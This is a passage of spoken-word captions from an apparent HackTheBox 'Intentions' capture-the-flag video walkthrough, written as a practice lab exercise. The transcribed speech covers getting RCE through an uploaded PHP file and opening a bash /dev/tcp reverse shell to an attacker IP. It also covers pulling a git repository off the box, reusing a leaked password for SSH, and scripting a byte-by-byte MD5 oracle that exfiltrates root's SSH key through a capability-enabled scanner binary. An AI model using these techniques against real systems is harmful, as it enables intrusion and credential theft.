+ {"text": "because the first one already took precedent right I can add a space here to break this completely again um maybe it cleaned up there so you can see I remove the space it works then I add that space back and it still didn't give me that error because this PHP file existed from the previous request so I'm guessing something like that is going on and I don't know why I can't hit this see I should go back to just doing the animals again because I think when I tried the animals maybe I had that one weird issue so I'm going to go back to this what leaks the full path to where this animal is then we can put that here and then rc. PHP that looks good and what we want to do is a get on where we think it is so I think we said storage animals whatever we want to make sure we can get this that's not found okay so that's definitely where", "start": 3476.079, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
48
+ {"text": "the animals directory is storage animals so now I can put rc.", "start": 3576.16, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
49
+ {"text": "PHP and now when I run this hopefully it's been long enough where it cleans it up file not found so I think I'm going to pause the video wait 10 minutes because I know that's what the Kon is for it to reset everything and then try again okay it's been 10 minutes and I'm actually going to just put this in the public directory so let's get rid of animals as well I think this is where I did it initially so this is the root of most l projects and then I was putting it in storage I'm going to put it in public and that's where other PHP scripts exist so I'm going to try putting it here so enter we're going to get this response of a bad gateway then I can go to the Shell we're just getting rce PHP on the route and there we go that was it so we just had a bad path here so we wanted public not storage there and now we can run", "start": 3584.559, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
50
+ {"text": "commands we did who am I and it's dub dubdub data so let's get a shell so let's just do b-c b-i Dev TCP 10148 9,1 0 and one like that and then encode everything and let's do NCL lvmp 91 catch the shell python 3-c import PTY PTY spawn bin Bash oh shoot python 3-c import PTY PTY spawn b bash stty raw minus Echo FG and then export term is equal to X term so we can clear the screen so now we finally have a shell on the box we can see I'm in public here that's where rc. PHP is we're putting things in storage you can see there's attempts there as well that that's our shell. PHP and rce I bet if we did like app than public then we'd probably nope that's a different directory I don't know exactly where else we could have done it but I do want to point out that the animals directory is not writable by dubdub duub", "start": 3652.48, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
51
+ {"text": "data at least I don't think it is let's see let's get out of storage and go into public and then there's a storage here just want to make sure it's not in two places right yeah so we can't write to the animals but we can write the public and that's where everything else is so um huzzah now let us look at things and we do see a dog directory here um so if we do a get log we need to change some things for this to work the easiest way I think is is just to copy thisg directory over to herbox instead of trying to figure out all these parameters so I'm going to do a tur cjv fdev shm g.t. I think it's bz2 and then dog so we're going to just archive everything I guess I could have just moved it into um the webshell right wherever we had the uh public directory I could put it there and then just download it that's what I'm gonna do once this finishes copying", "start": 3731.839, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
52
+ {"text": "into Dev shm and man that's a lot of files so if I go back into public we can move Dev shm get here and then just W get 10 10 11 220 SLG bz2 I think it's the gz I made I always get those tar commands mixed up but this will download that g repo and man this is a big repo and did not expect it to be this big okay let's make their uh let's see I'll create I already have intentions we'll create site then t x jvf dot dotg and extract it all I don't know why I added the V that probably just load things down bring a standard out so now we have this get directory if I do a get log I can see everything because get is properly configured on my box so we have a few things we have fix webpack for production test cases didn't work on Steve's local database switching to user Factory per his advice so I kind of want to see this commit so I'm going to do a diff between this one and this one to", "start": 3810.52, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
53
+ {"text": "see the database change we could step through each of them but this is the one that seems most interesting to me so we can do a get diff copy that and that and let's see so we have off login Greg at intentions and Greg is the best developer 1998 so looks like we have a potential credential here if I do a GP for everything that ends in sh on Etsy passwd we can see Greg is a user so let's try s Greg at 10101 220 paste in that password and we get logged in uh he only has sh as a shell so I'm just going to type bash because I like seeing the bash shell and we have a dmca check DMC hashes and user. text uh my first step always is to run pseudo we can paste in Greg's password did I already get it off my clipboard H okay I have it on that one and Greg can't run pseudo so if we look at dmca check we see it's running op scanner on legal uploads and this let's see exactly", "start": 3885.76, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
54
+ {"text": "what op scanner is see that is I was expecting some type of set uid file because normally when a CTF does something like this like the pointing towards this binary let's see what type of binary this is it is built in goang so normally it's to like exploit some privilege maybe it's a capability get cap op scanner scanner okay we got cap read search so this binary has the ability to read files essentially as root can't create can't do anything but it can definitely read files so if we look at what op scanner is it's a copyright scanner application that provides capability to evaluate a single file or directory against known Blacklist and return matches so it looks like based upon this we can uh specify a file path or directory path um we're probably going to ignore directory paths because we just want to leak", "start": 3970.039, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
55
+ {"text": "files um H is a colon separated hash file that's not that interesting L this is going to be how many byes of the file it reads it defaults to 500 and then P will print the calculated file hash only let's see I thought there would be one oh s for some reason I completely missed the S this is going to be a specific hash to check against so this will allow us probably to leak files one bite at a time so if I cat ety pass WD uh let's do head one the very first thing is going to be R so I'm going to Echo dasn R md5 sum and we can do up Scanner then what was it- C the file so Etsy pass wd- L I'm going to read one BTE and- s is the hash I want to check against so if the first bite of etsy passwd is going to be R then should have this md5 sum and we see it matches if we did a completely other md5 sum so let's just do p and we run it against", "start": 4037.76, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
56
+ {"text": "this it doesn't match so essentially what we're going to do is create a program that will leak characters one bite at a time and just keep incrementing this right so now we did the md5 sum for RO because the first two characters is that and we have it matched so this is now going to become a coding challenge so let's create a python script to automate this so let's make a directory called code and then our script will just be exploit. pi and let's open that up in Visual Studio code and the very first thing we're going to want to do is make sure we can um capture the output or know what happens when we succeed so there's two ways we can do it we can either capture the entire output of the program and see like if we get something back uh let's see if we do a we get nothing we can also do it by exit codes potentially and", "start": 4124.04, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
57
+ {"text": "maybe not so no matter what the programs executed is going to be zero so we have to be able to get the output of the program in order to identify um if we have anything so I'm going to import subprocess and then we can do a uh subprocess do run and then we want to specify the program so opt scanner scanner and then what are all the arguments let's copy this and put these in quotes Okay uh we also need uh to set the pipe so that's standard out.", "start": 4190.199, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
58
+ {"text": "subprocess pipe like that see I can put this on two lines so it's a bit easier for you to read There we go and then we want to um call this result and then we can say print result. standard out and print the length of result. standard out okay let's let's copy this Python 3 run it result is not defined what I guess it doesn't like it being on two lines subprocess do run uh standard out is equal to whoops that was it and standard out is 57 characters and we have it awesome so we actually don't need to do any string match we can just say if the length is greater than probably zero let's just get a bad hash on so I'll change that to an F I forget that what that was it was a c and we do a length again and zero so we can say Define brute and I'm going to give it a file and guess and we can put this in and see we need to", "start": 4252.36, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
59
+ {"text": "do file and then we'll also need to Hash whatever a guess is so I'm going to import hash lib and then we can do um hash is equal to to hash li.", "start": 4360.719, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
60
+ {"text": "md5 then guess encode hex digest that's right do hash like that and the length we need to do Len guess and this also has to be a string because right now Python's going to have that as an integer so I'll just make that a string okay so that looks good and now we can say if the length of result standard out is greater than zero return true else we don't even need an else we can just do return false so now we have some Brute Force logic um I'm going to test this out real quick put this in and then brute Etsy pass WD and we can say it begins with root hash lib is not defined import this true and we can say Please Subscribe and this should be false right there we go so now we have logic to brute force uh file from beginning to well we have a function that will brute force it now we have to create the logic to take the guess from beginning to end", "start": 4377.08, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
61
+ {"text": "so I'm going to do this in probably a really bad way so I'm going to import string and I'm going to say the character set is going to be string. asky letters plus string. digits plus and then let's see base 64 character set I think it's plus period and Slash and equals because if we do the basic 64 character set we can get a um plus SL equals a s private key and we also need line break so back sln okay so I'm going to set a variable is equal to true and it's going to be called Loop and we can say well it's close this is autopilot just guessing what I want um I'm going to the guess is going to be equal to and I want to get a SSH key so SSH key gen test. out cat because I just want to get the beginning of the key so we can grab this okay cuz that's just going to save time we don't have to root Force the beginning of that because that's a static string in SSH", "start": 4459.96, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
62
+ {"text": "keys and then we can say while loop for character in care set then if root we're going to just do this and I guess we probably should have verified this file exist first um hold on one second okay if it's successful a pen guest print we want to end with nothing and definitely flush okay so what I was doing there is the print statement since we're going to print the character um I don't want a line break after every character so I said end so it ends with nothing so it doesn't do a line break and then because I'm not putting a line break out there it's not going to flush the terminal which means we wouldn't be able to see it until line break happens so I'm telling it to to force the flush but first we should make sure this exists so we can copy this go back here Python 3 import brute we also need to import our", "start": 4554.96, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
63
+ {"text": "modules and then we can say brute root SSH ID RSA and the guest can be a single Dash and it's true if we did anything else it would be false so now we have verified there is a SSH key at idsa on the box and this logic is pretty much done so we can say if C is equal to a line break then we set loop to false and that's it and the line break is going to be the very last character in the character set so if we ever reach where root is completely fails on the whole character set then we just set the loop to false so a while loop dies and I think that is it oh we probably should print guess print guess okay we can control C out of that V exploit. Pi put the script here and let's see where we screwed up looks like we are good the only thing I want to do is print guess and we can add a end is equal to this because it put a double line break", "start": 4634.12, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
64
+ {"text": "in because we already had a line break on a print statement and we can fix that here real quick uh guess and is equal to nothing and we didn't have to flush it because again it flushes when it sees a line break and since one was there we didn't have to and now you can see it exfilling the root SSH character or key one character at a time so I'm just going to speed up this video and then we'll test the SSH key and consider it all done and there we go well we got the end of the key it actually did not print the last line which is a bit odd I guess maybe there's like a back SLR back sln or something there but let's just see if we can guess that very last line so V key whoops see paste nope that's not it there we go then test. out let's copy this chod 600 on key sh- I root key at 10 10 11220 identity file root not accessible because", "start": 4722.8, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
65
+ {"text": "I got those parameters backwards there we go and the key works um if we xxd this I bet root. text uh whoops xxd SSH ID RSA let's see equals equals where is that that's here 2D 2D 2D those are the dashes 3d0 a I think 3D has a period or 3D is equal that's it oh our base 64 character set did not have Dash so we got the line break but see because we did not have Dash that's why it stopped so if you add the dash there and your character set then will work because we went over here we got the line break of0 a and then it went through the entire character set didn't find anything so it said the file must be empty but um we just were missing a character which is Dash so with that being said that'll be the video hope you guys enjoyed it take care and I'll see you all next time", "start": 4814.36, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}